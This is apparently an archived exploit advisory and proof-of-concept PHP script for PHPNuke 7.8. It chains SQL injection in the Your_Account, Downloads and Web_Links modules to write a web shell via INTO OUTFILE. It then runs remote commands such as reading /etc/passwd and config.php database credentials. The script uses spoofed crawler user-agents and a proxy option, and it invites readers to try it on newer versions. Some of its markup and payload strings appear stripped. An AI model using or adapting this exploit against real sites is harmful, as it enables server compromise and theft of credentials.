PHPNuke 7.8 with all security fixes/patches "Downloads", "Web_Links" & "Your_Account" SQL INjection -> remote commands execution poc exploit there are a lot of unsanitized vars in every module, as I can see, so if magic_quotes_gpc is Off -> SQL INJECTION 1) you can go to "Your Account" and submit a username like this: ' UNION SELECT '',0,0,0,0,0,0,0,'',0 INTO OUTFILE '../../WWW/PHPNUKE/shell.php' FROM nuke_users/* login field is too small to do it manually but you can see my poc below to create a shell.php file in a writable directory then launch commands: http://[target]/[path_to_shell]/shell.php?cmd=cat%20/etc/passwd 2) the same in "Downloads" module: http://[target]/[path]/modules.php?name=Downloads&d_op=Add&url=[SQL]&title=what&description=what 3) ... and in "Web_links" module: http://[target]/[path]/modules.php?name=Web_Links&l_op=Add&title=what&description=[SQL]&url=what I have not seen 7.9 version but it can be also vulnerable, try it on it, this is my poc exploit: PHPNuke 7.8 remote commands execution

PHPNuke 7.8 (possibly prior versions) remote commands execution

a script by rgod at http://rgod.altervista.org

hostname (ex: www.sitename.com)

path ( ex: /phpnuke/ or just /)

path to WWW ftom Mysql directory, need this for "...INTO OUTFILE ..." statement (default: ../../www)

specify a port other than 80 (default value)

a Unix command , example: ls -la to list directories, cat /etc/passwd to show passwd file, cat config.php to see database username and password

send exploit through an HTTP proxy (ip:port)

'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo ''; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo ""; for ($li=0; $li<=15; $li++) { echo ""; } $ki=$ki+16; echo ""; } if (strlen($datai)==1) {echo "";} else {echo " ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo ""; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo ""; } echo "
  ".$headeri[$li+$ki]."
0".$datai."".$datai."  ".$headeri[$li]."
"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket() //if you have sockets module loaded, 2x speed! if not,load //next function to send packets { global $proxy, $host, $port, $packet, $html, $proxy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "
"; } else { echo "OK.
"; echo "Attempting to connect to ".$host." on port ".$port."...
"; if ($proxy=='') { $result = socket_connect($socket, $host, $port); } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "

"; } else { echo "OK.

"; $html= ''; socket_write($socket, $packet, strlen($packet)); echo "Reading response:
"; while ($out= socket_read($socket, 2048)) {$html.=$out;} echo nl2br(htmlentities($html)); echo "Closing socket..."; socket_close($socket); } } } function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') {$ock=fsockopen($host,$port);} else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo nl2br(htmlentities($html)); } function execute_commands() { global $p, $host, $port, $packet, $command, $html; $packet="GET ".$p."shell.php?cmd=".urlencode($command)." HTTP/1.1\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); if (eregi("Hi Master", $html)) {echo "Exploit succeeded..."; die; } } if (($host<>'') and ($path<>'') and ($command<>'')) { $port=intval(trim($port)); if ($port=='') {$port=80;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($pathtoWWW=='') {$pathtoWWW="../../www";} #default, path for "INTO OUTFILE <[path][file]>, two dirs up from mysql data directory, change it for #different Apache installations if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} echo $proxy; # STEP 1 -> SQL injection in "Your_Account" module... inject a shell $SQL="'UNION SELECT '',0,0,0,0,0,0,0,'',0 INTO OUTFILE '".$pathtoWWW.$path."shell.php' FROM nuke_users/*"; $data="username=".urlencode($SQL)."&user_password=&redirect=&mode=&f=&t=&op=login"; $packet="POST ".$p."modules.php?name=Your_Account HTTP/1.1\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; $packet.="Referer: http://".$host.":".$port.$path."modules.php?name=Your_Account\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="User-Agent: Lycos_Spider_(T-Rex)\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.="Cookie: lang=english\r\n\r\n"; $packet.=$data; show($packet); sendpacketii($packet); execute_commands(); #STEP 2 -> if STEP 1 failed, SQL Injection in "Downloads" module... //we need to use backticks (shell operators, they are not quotes, some chars like ")" are not permitted in urls... $SQL="' UNION SELECT '' INTO OUTFILE '".$pathtoWWW.$path."shell.php' FROM nuke_downloads_downloads/*"; $packet="GET ".$p."modules.php?name=Downloads&d_op=Add&url=".urlencode($SQL)."&title=what&description=what HTTP/1.1\r\n"; $packet.="User-Agent: SearchExpress Spider0.99\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); execute_commands(); #STEP 3 -> if STEP 1 & 2 failed, SQL injection in "Web_Links" module... $SQL="' or 'x'='x' UNION SELECT 0,0,0,0,0,0,'Hi Master',0,0 INTO OUTFILE '".$pathtoWWW.$path."shell.php' FROM nuke_links_newlink/*"; $packet="GET ".$p."modules.php?name=Web_Links&l_op=Add&title=what&description=".urlencode($SQL)."&url=what HTTP/1.1\r\n"; $packet.="User-Agent: Web Link Validator 1.5\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); execute_commands(); //if you are here... echo 'Exploit failed...'; } else {echo 'Fill in requested fields, optionally specify a proxy';} ?> rgod site: http://rgod.altervista.org mail: retrogod at aliceposta.it original advisory: http://rgod.altervista.org/phpnuke78sql.html